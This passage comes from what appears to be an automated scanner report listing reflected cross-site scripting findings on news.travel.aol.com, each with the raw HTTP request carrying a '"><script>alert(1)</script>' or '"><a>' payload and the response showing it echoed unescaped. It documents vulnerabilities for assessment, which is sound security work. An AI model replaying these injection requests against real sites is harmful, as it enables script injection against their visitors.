User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: comment_by_existing=deleted;

Response

HTTP/1.1 200 OK
Date: Fri, 19 Nov 2010 22:50:30 GMT
Server: Apache/2.2
Cache-Control: no-cache, must-revalidate, post-check=0, pre-check=0
Set-Cookie: comment_by_existing=deleted; expires=Thu, 19-Nov-2009 22:50:29 GMT; path=/
Keep-Alive: timeout=5, max=999962
Connection: Keep-Alive
Content-Type: text/html
Content-Length: 99707

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xmlns:og="http://opengraphprotocol.
...[SNIP]...
<meta property="og:url" content="http://news.travel.aol.com/2010/11/15/what-happens-if-you-decline-a-full-body-scan/3?fd847"><script>alert(1)</script>ef87fa0bd5e=1" />
...[SNIP]...

1.20. http://news.travel.aol.com/2010/11/15/what-happens-if-you-decline-a-full-body-scan/4 [name of an arbitrarily supplied request parameter]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://news.travel.aol.com
Path:   /2010/11/15/what-happens-if-you-decline-a-full-body-scan/4

Issue detail

The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 9b5b5"><script>alert(1)</script>b56d2787c01 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /2010/11/15/what-happens-if-you-decline-a-full-body-scan/4?9b5b5"><script>alert(1)</script>b56d2787c01=1 HTTP/1.1
Host: news.travel.aol.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: comment_by_existing=deleted;

Response

HTTP/1.1 200 OK
Date: Fri, 19 Nov 2010 22:50:27 GMT
Server: Apache/2.2
Cache-Control: no-cache, must-revalidate, post-check=0, pre-check=0
Set-Cookie: comment_by_existing=deleted; expires=Thu, 19-Nov-2009 22:50:26 GMT; path=/
Keep-Alive: timeout=5, max=999956
Connection: Keep-Alive
Content-Type: text/html
Content-Length: 100202

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xmlns:og="http://opengraphprotocol.
...[SNIP]...
<meta property="og:url" content="http://news.travel.aol.com/2010/11/15/what-happens-if-you-decline-a-full-body-scan/4?9b5b5"><script>alert(1)</script>b56d2787c01=1" />
...[SNIP]...

1.21. http://news.travel.aol.com/2010/11/15/what-happens-if-you-decline-a-full-body-scan/5 [name of an arbitrarily supplied request parameter]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://news.travel.aol.com
Path:   /2010/11/15/what-happens-if-you-decline-a-full-body-scan/5

Issue detail

The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload e7eee"><script>alert(1)</script>545a167299 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /2010/11/15/what-happens-if-you-decline-a-full-body-scan/5?e7eee"><script>alert(1)</script>545a167299=1 HTTP/1.1
Host: news.travel.aol.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: comment_by_existing=deleted;

Response

HTTP/1.1 200 OK
Date: Fri, 19 Nov 2010 22:50:38 GMT
Server: Apache/2.2
Cache-Control: no-cache, must-revalidate, post-check=0, pre-check=0
Set-Cookie: comment_by_existing=deleted; expires=Thu, 19-Nov-2009 22:50:37 GMT; path=/
Keep-Alive: timeout=5, max=999989
Connection: Keep-Alive
Content-Type: text/html
Content-Length: 102144

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xmlns:og="http://opengraphprotocol.
...[SNIP]...
<meta property="og:url" content="http://news.travel.aol.com/2010/11/15/what-happens-if-you-decline-a-full-body-scan/5?e7eee"><script>alert(1)</script>545a167299=1" />
...[SNIP]...

1.22. http://news.travel.aol.com/2010/11/15/what-happens-if-you-decline-a-full-body-scan/90 [name of an arbitrarily supplied request parameter]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://news.travel.aol.com
Path:   /2010/11/15/what-happens-if-you-decline-a-full-body-scan/90

Issue detail

The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 220bf"><script>alert(1)</script>0cd508178f9 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /2010/11/15/what-happens-if-you-decline-a-full-body-scan/90?220bf"><script>alert(1)</script>0cd508178f9=1 HTTP/1.1
Host: news.travel.aol.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: comment_by_existing=deleted;

Response

HTTP/1.1 200 OK
Date: Fri, 19 Nov 2010 22:50:35 GMT
Server: Apache/2.2
Cache-Control: no-cache, must-revalidate, post-check=0, pre-check=0
Set-Cookie: comment_by_existing=deleted; expires=Thu, 19-Nov-2009 22:50:34 GMT; path=/
Keep-Alive: timeout=5, max=999961
Connection: Keep-Alive
Content-Type: text/html
Content-Length: 95518

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xmlns:og="http://opengraphprotocol.
...[SNIP]...
<meta property="og:url" content="http://news.travel.aol.com/2010/11/15/what-happens-if-you-decline-a-full-body-scan/90?220bf"><script>alert(1)</script>0cd508178f9=1" />
...[SNIP]...

1.23. http://news.travel.aol.com/2010/11/16/delta-passenger-scrutinized-for-tattoo/ [name of an arbitrarily supplied request parameter]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://news.travel.aol.com
Path:   /2010/11/16/delta-passenger-scrutinized-for-tattoo/

Issue detail

The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload fbcb9"><script>alert(1)</script>2d9bf2ed4bc was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /2010/11/16/delta-passenger-scrutinized-for-tattoo/?fbcb9"><script>alert(1)</script>2d9bf2ed4bc=1 HTTP/1.1
Host: news.travel.aol.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: comment_by_existing=deleted;

Response

HTTP/1.1 200 OK
Date: Fri, 19 Nov 2010 22:50:33 GMT
Server: Apache/2.2
Cache-Control: no-cache, must-revalidate, post-check=0, pre-check=0
Set-Cookie: comment_by_existing=deleted; expires=Thu, 19-Nov-2009 22:50:32 GMT; path=/
Keep-Alive: timeout=5, max=999940
Connection: Keep-Alive
Content-Type: text/html
Content-Length: 96300

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xmlns:og="http://opengraphprotocol.
...[SNIP]...
<meta property="og:url" content="http://news.travel.aol.com/2010/11/16/delta-passenger-scrutinized-for-tattoo/?fbcb9"><script>alert(1)</script>2d9bf2ed4bc=1" />
...[SNIP]...

1.24. http://news.travel.aol.com/2010/11/18/10-best-colorado-ski-resorts/ [name of an arbitrarily supplied request parameter]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://news.travel.aol.com
Path:   /2010/11/18/10-best-colorado-ski-resorts/

Issue detail

The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload e898d"><script>alert(1)</script>93838d0de3f was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /2010/11/18/10-best-colorado-ski-resorts/?e898d"><script>alert(1)</script>93838d0de3f=1 HTTP/1.1
Host: news.travel.aol.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: comment_by_existing=deleted;

Response

HTTP/1.1 200 OK
Date: Fri, 19 Nov 2010 22:50:25 GMT
Server: Apache/2.2
Cache-Control: no-cache, must-revalidate, post-check=0, pre-check=0
Set-Cookie: comment_by_existing=deleted; expires=Thu, 19-Nov-2009 22:50:24 GMT; path=/
Keep-Alive: timeout=5, max=1000000
Connection: Keep-Alive
Content-Type: text/html
Content-Length: 69505

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xmlns:og="http://opengraphprotocol.
...[SNIP]...
<meta property="og:url" content="http://news.travel.aol.com/2010/11/18/10-best-colorado-ski-resorts/?e898d"><script>alert(1)</script>93838d0de3f=1" />
...[SNIP]...

1.25. http://news.travel.aol.com/2010/11/18/best-chicago-restaurants-with-flavors-from-around-the-world/ [name of an arbitrarily supplied request parameter]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://news.travel.aol.com
Path:   /2010/11/18/best-chicago-restaurants-with-flavors-from-around-the-world/

Issue detail

The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 9dc3f"><script>alert(1)</script>41d88c6380c was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /2010/11/18/best-chicago-restaurants-with-flavors-from-around-the-world/?9dc3f"><script>alert(1)</script>41d88c6380c=1 HTTP/1.1
Host: news.travel.aol.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: comment_by_existing=deleted;

Response

HTTP/1.1 200 OK
Date: Fri, 19 Nov 2010 22:50:28 GMT
Server: Apache/2.2
Cache-Control: no-cache, must-revalidate, post-check=0, pre-check=0
Set-Cookie: comment_by_existing=deleted; expires=Thu, 19-Nov-2009 22:50:27 GMT; path=/
Keep-Alive: timeout=5, max=999988
Connection: Keep-Alive
Content-Type: text/html
Content-Length: 71282

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xmlns:og="http://opengraphprotocol.
...[SNIP]...
<meta property="og:url" content="http://news.travel.aol.com/2010/11/18/best-chicago-restaurants-with-flavors-from-around-the-world/?9dc3f"><script>alert(1)</script>41d88c6380c=1" />
...[SNIP]...

1.26. http://news.travel.aol.com/2010/11/18/russian-woman-fakes-bomb-threat-to-stop-daughter-from-getting-ma/ [name of an arbitrarily supplied request parameter]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://news.travel.aol.com
Path:   /2010/11/18/russian-woman-fakes-bomb-threat-to-stop-daughter-from-getting-ma/

Issue detail

The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload edb57"><script>alert(1)</script>12d8c31eb21 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /2010/11/18/russian-woman-fakes-bomb-threat-to-stop-daughter-from-getting-ma/?edb57"><script>alert(1)</script>12d8c31eb21=1 HTTP/1.1
Host: news.travel.aol.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: comment_by_existing=deleted;

Response

HTTP/1.1 200 OK
Date: Fri, 19 Nov 2010 22:50:27 GMT
Server: Apache/2.2
Cache-Control: no-cache, must-revalidate, post-check=0, pre-check=0
Set-Cookie: comment_by_existing=deleted; expires=Thu, 19-Nov-2009 22:50:26 GMT; path=/
Keep-Alive: timeout=5, max=999850
Connection: Keep-Alive
Content-Type: text/html
Content-Length: 67244

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xmlns:og="http://opengraphprotocol.
...[SNIP]...
<meta property="og:url" content="http://news.travel.aol.com/2010/11/18/russian-woman-fakes-bomb-threat-to-stop-daughter-from-getting-ma/?edb57"><script>alert(1)</script>12d8c31eb21=1" />
...[SNIP]...

1.27. http://news.travel.aol.com/2010/11/19/american-airlines-launching-in-flight-happy-hour/ [name of an arbitrarily supplied request parameter]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://news.travel.aol.com
Path:   /2010/11/19/american-airlines-launching-in-flight-happy-hour/

Issue detail

The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 34592"><script>alert(1)</script>603fd304c05 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /2010/11/19/american-airlines-launching-in-flight-happy-hour/?34592"><script>alert(1)</script>603fd304c05=1 HTTP/1.1
Host: news.travel.aol.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: comment_by_existing=deleted;

Response

HTTP/1.1 200 OK
Date: Fri, 19 Nov 2010 22:50:18 GMT
Server: Apache/2.2
Cache-Control: no-cache, must-revalidate, post-check=0, pre-check=0
Set-Cookie: comment_by_existing=deleted; expires=Thu, 19-Nov-2009 22:50:17 GMT; path=/
Keep-Alive: timeout=5, max=999953
Connection: Keep-Alive
Content-Type: text/html
Content-Length: 62744

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xmlns:og="http://opengraphprotocol.
...[SNIP]...
<meta property="og:url" content="http://news.travel.aol.com/2010/11/19/american-airlines-launching-in-flight-happy-hour/?34592"><script>alert(1)</script>603fd304c05=1" />
...[SNIP]...

1.28. http://news.travel.aol.com/2010/11/19/five-great-myrtle-beach-hotels/ [name of an arbitrarily supplied request parameter]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://news.travel.aol.com
Path:   /2010/11/19/five-great-myrtle-beach-hotels/

Issue detail

The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload dc8b3"><script>alert(1)</script>0960007a325 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /2010/11/19/five-great-myrtle-beach-hotels/?dc8b3"><script>alert(1)</script>0960007a325=1 HTTP/1.1
Host: news.travel.aol.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: comment_by_existing=deleted;

Response

HTTP/1.1 200 OK
Date: Fri, 19 Nov 2010 22:50:31 GMT
Server: Apache/2.2
Cache-Control: no-cache, must-revalidate, post-check=0, pre-check=0
Set-Cookie: comment_by_existing=deleted; expires=Thu, 19-Nov-2009 22:50:30 GMT; path=/
Keep-Alive: timeout=5, max=999987
Connection: Keep-Alive
Content-Type: text/html
Content-Length: 63438

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xmlns:og="http://opengraphprotocol.
...[SNIP]...
<meta property="og:url" content="http://news.travel.aol.com/2010/11/19/five-great-myrtle-beach-hotels/?dc8b3"><script>alert(1)</script>0960007a325=1" />
...[SNIP]...

1.29. http://news.travel.aol.com/bloggers/anne-johnson/ [REST URL parameter 2]  previous  next

Summary

Severity:   High
Confidence:   Firm
Host:   http://news.travel.aol.com
Path:   /bloggers/anne-johnson/

Issue detail

The value of REST URL parameter 2 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 1c31d"><a>9fbcf0d2f54 was submitted in the REST URL parameter 2. This input was echoed unmodified in the application's response.

This behaviour demonstrates that it is possible to inject new HTML tags into the returned document. An attempt was made to identify a full proof-of-concept attack for injecting arbitrary JavaScript but this was not successful. You should manually examine the application's behaviour and attempt to identify any unusual input validation or other obstacles that may be in place.

Request

GET /bloggers/anne-johnson1c31d"><a>9fbcf0d2f54/ HTTP/1.1
Host: news.travel.aol.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: comment_by_existing=deleted;

Response

HTTP/1.1 200 OK
Date: Fri, 19 Nov 2010 22:57:04 GMT
Server: Apache/2.2
Cache-Control: no-cache, must-revalidate, post-check=0, pre-check=0
Keep-Alive: timeout=5, max=999983
Connection: Keep-Alive
Content-Type: text/html
X-Pad: avoid browser bug
Content-Length: 46180

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xmlns:og="http://opengraphprotocol.
...[SNIP]...
<link rel="canonical" href="http://news.travel.aol.com/bloggers/anne-johnson1c31d"><a>9fbcf0d2f54/" />
...[SNIP]...

1.30. http://news.travel.aol.com/bloggers/fran-golden [REST URL parameter 2]  previous  next

Summary

Severity:   High
Confidence:   Firm
Host:   http://news.travel.aol.com
Path:   /bloggers/fran-golden

Issue detail

The value of REST URL parameter 2 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 53fe6"><a>a29faff96e1 was submitted in the REST URL parameter 2. This input was echoed unmodified in the application's response.

This behaviour demonstrates that it is possible to inject new HTML tags into the returned document. An attempt was made to identify a full proof-of-concept attack for injecting arbitrary JavaScript but this was not successful. You should manually examine the application's behaviour and attempt to identify any unusual input validation or other obstacles that may be in place.

Request

GET /bloggers/fran-golden53fe6"><a>a29faff96e1 HTTP/1.1
Host: news.travel.aol.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: comment_by_existing=deleted;

Response

HTTP/1.1 200 OK
Date: Fri, 19 Nov 2010 22:57:08 GMT
Server: Apache/2.2
Cache-Control: no-cache, must-revalidate, post-check=0, pre-check=0
Keep-Alive: timeout=5, max=999966
Connection: Keep-Alive
Content-Type: text/html
X-Pad: avoid browser bug
Content-Length: 46173

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xmlns:og="http://opengraphprotocol.
...[SNIP]...
<link rel="canonical" href="http://news.travel.aol.com/bloggers/fran-golden53fe6"><a>a29faff96e1" />
...[SNIP]...

1.31. http://news.travel.aol.com/bloggers/fran-golden/ [REST URL parameter 2]  previous  next

Summary

Severity:   High
Confidence:   Firm
Host:   http://news.travel.aol.com
Path:   /bloggers/fran-golden/

Issue detail

The value of REST URL parameter 2 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 5ccc1"><a>99ad7f4d0d3 was submitted in the REST URL parameter 2. This input was echoed unmodified in the application's response.

This behaviour demonstrates that it is possible to inject new HTML tags into the returned document. An attempt was made to identify a full proof-of-concept attack for injecting arbitrary JavaScript but this was not successful. You should manually examine the application's behaviour and attempt to identify any unusual input validation or other obstacles that may be in place.

Request

GET /bloggers/fran-golden5ccc1"><a>99ad7f4d0d3/ HTTP/1.1
Host: news.travel.aol.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: comment_by_existing=deleted;

Response

HTTP/1.1 200 OK
Date: Fri, 19 Nov 2010 22:56:57 GMT
Server: Apache/2.2
Cache-Control: no-cache, must-revalidate, post-check=0, pre-check=0
Keep-Alive: timeout=5, max=999997
Connection: Keep-Alive
Content-Type: text/html
X-Pad: avoid browser bug
Content-Length: 46176

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xmlns:og="http://opengraphprotocol.
...[SNIP]...
<link rel="canonical" href="http://news.travel.aol.com/bloggers/fran-golden5ccc1"><a>99ad7f4d0d3/" />
...[SNIP]...

1.32. http://news.travel.aol.com/bloggers/gerard-walen/ [REST URL parameter 2]  previous  next

Summary

Severity:   High
Confidence:   Firm
Host:   http://news.travel.aol.com
Path:   /bloggers/gerard-walen/

Issue detail

The value of REST URL parameter 2 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload ead64"><a>d8b51154890 was submitted in the REST URL parameter 2. This input was echoed unmodified in the application's response.

This behaviour demonstrates that it is possible to inject new HTML tags into the returned document. An attempt was made to identify a full proof-of-concept attack for injecting arbitrary JavaScript but this was not successful. You should manually examine the application's behaviour and attempt to identify any unusual input validation or other obstacles that may be in place.

Request

GET /bloggers/gerard-walenead64"><a>d8b51154890/ HTTP/1.1
Host: news.travel.aol.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: comment_by_existing=deleted;

Response

HTTP/1.1 200 OK
Date: Fri, 19 Nov 2010 22:57:01 GMT
Server: Apache/2.2
Cache-Control: no-cache, must-revalidate, post-check=0, pre-check=0
Keep-Alive: timeout=5, max=999950
Connection: Keep-Alive
Content-Type: text/html
X-Pad: avoid browser bug
Content-Length: 46181

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xmlns:og="http://opengraphprotocol.
...[SNIP]...
<link rel="canonical" href="http://news.travel.aol.com/bloggers/gerard-walenead64"><a>d8b51154890/" />
...[SNIP]...

1.33. http://news.travel.aol.com/bloggers/libby-zay/ [REST URL parameter 2]  previous  next

Summary

Severity:   High
Confidence:   Firm
Host:   http://news.travel.aol.com
Path:   /bloggers/libby-zay/

Issue detail

The value of REST URL parameter 2 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 92c6d"><a>a9aba3af6c3 was submitted in the REST URL parameter 2. This input was echoed unmodified in the application's response.

This behaviour demonstrates that it is possible to inject new HTML tags into the returned document. An attempt was made to identify a full proof-of-concept attack for injecting arbitrary JavaScript but this was not successful. You should manually examine the application's behaviour and attempt to identify any unusual input validation or other obstacles that may be in place.

Request

GET /bloggers/libby-zay92c6d"><a>a9aba3af6c3/ HTTP/1.1
Host: news.travel.aol.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: comment_by_existing=deleted;

Response

HTTP/1.1 200 OK
Date: Fri, 19 Nov 2010 22:57:00 GMT
Server: Apache/2.2
Cache-Control: no-cache, must-revalidate, post-check=0, pre-check=0
Keep-Alive: timeout=5, max=999972
Connection: Keep-Alive
Content-Type: text/html
X-Pad: avoid browser bug
Content-Length: 46164

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xmlns:og="http://opengraphprotocol.
...[SNIP]...
<link rel="canonical" href="http://news.travel.aol.com/bloggers/libby-zay92c6d"><a>a9aba3af6c3/" />
...[SNIP]...

1.34. http://news.travel.aol.com/bloggers/liz-behler [REST URL parameter 2]  previous  next

Summary

Severity:   High
Confidence:   Firm
Host:   http://news.travel.aol.com
Path:   /bloggers/liz-behler

Issue detail

The value of REST URL parameter 2 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 32301"><a>39aebbd68f1 was submitted in the REST URL parameter 2. This input was echoed unmodified in the application's response.

This behaviour demonstrates that it is possible to inject new HTML tags into the returned document. An attempt was made to identify a full proof-of-concept attack for injecting arbitrary JavaScript but this was not successful. You should manually examine the application's behaviour and attempt to identify any unusual input validation or other obstacles that may be in place.

Request

GET /bloggers/liz-behler32301"><a>39aebbd68f1 HTTP/1.1
Host: news.travel.aol.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: comment_by_existing=deleted;

Response

HTTP/1.1 200 OK
Date: Fri, 19 Nov 2010 22:57:05 GMT
Server: Apache/2.2
Cache-Control: no-cache, must-revalidate, post-check=0, pre-check=0
Keep-Alive: timeout=5, max=999966
Connection: Keep-Alive
Content-Type: text/html
X-Pad: avoid browser bug
Content-Length: 46168

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xmlns:og="http://opengraphprotocol.
...[SNIP]...
<link rel="canonical" href="http://news.travel.aol.com/bloggers/liz-behler32301"><a>39aebbd68f1" />
...[SNIP]...

1.35. http://news.travel.aol.com/bloggers/mclean-robbins/ [REST URL parameter 2]  previous  next

Summary

Severity:   High
Confidence:   Firm
Host:   http://news.travel.aol.com
Path:   /bloggers/mclean-robbins/

Issue detail

The value of REST URL parameter 2 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload c2f4b"><a>2c34d5cdda0 was submitted in the REST URL parameter 2. This input was echoed unmodified in the application's response.

This behaviour demonstrates that it is possible to inject new HTML tags into the returned document. An attempt was made to identify a full proof-of-concept attack for injecting arbitrary JavaScript but this was not successful. You should manually examine the application's behaviour and attempt to identify any unusual input validation or other obstacles that may be in place.

Request

GET /bloggers/mclean-robbinsc2f4b"><a>2c34d5cdda0/ HTTP/1.1
Host: news.travel.aol.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: comment_by_existing=deleted;

Response

HTTP/1.1 200 OK
Date: Fri, 19 Nov 2010 22:57:00 GMT
Server: Apache/2.2
Cache-Control: no-cache, must-revalidate, post-check=0, pre-check=0
Keep-Alive: timeout=5, max=999958
Connection: Keep-Alive
Content-Type: text/html
X-Pad: avoid browser bug
Content-Length: 46191

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xmlns:og="http://opengraphprotocol.
...[SNIP]...
<link rel="canonical" href="http://news.travel.aol.com/bloggers/mclean-robbinsc2f4b"><a>2c34d5cdda0/" />
...[SNIP]...

1.36. http://news.travel.aol.com/category/air-travel/ [REST URL parameter 2]  previous  next

Summary

Severity:   High
Confidence:   Firm
Host:   http://news.travel.aol.com
Path:   /category/air-travel/

Issue detail

The value of REST URL parameter 2 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 6a4f1"><a>b2dd1638cf1 was submitted in the REST URL parameter 2. This input was echoed unmodified in the application's response.

This behaviour demonstrates that it is possible to inject new HTML tags into the returned document. An attempt was made to identify a full proof-of-concept attack for injecting arbitrary JavaScript but this was not successful. You should manually examine the application's behaviour and attempt to identify any unusual input validation or other obstacles that may be in place.

Request

GET /category/air-travel6a4f1"><a>b2dd1638cf1/ HTTP/1.1
Host: news.travel.aol.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: comment_by_existing=deleted;

Response

HTTP/1.1 200 OK
Date: Fri, 19 Nov 2010 22:55:50 GMT
Server: Apache/2.2
Cache-Control: no-cache, must-revalidate, post-check=0, pre-check=0
Keep-Alive: timeout=5, max=999983
Connection: Keep-Alive
Content-Type: text/html
X-Pad: avoid browser bug
Content-Length: 47628

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xmlns:og="http://opengraphprotocol.
...[SNIP]...
<link rel="canonical" href="http://news.travel.aol.com/category/air-travel6a4f1"><a>b2dd1638cf1/" />
...[SNIP]...

1.37. http://news.travel.aol.com/category/beach/ [REST URL parameter 2]  previous  next

Summary

Severity:   High
Confidence:   Firm
Host:   http://news.travel.aol.com
Path:   /category/beach/

Issue detail

The value of REST URL parameter 2 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 36479"><a>f5815238521 was submitted in the REST URL parameter 2. This input was echoed unmodified in the application's response.

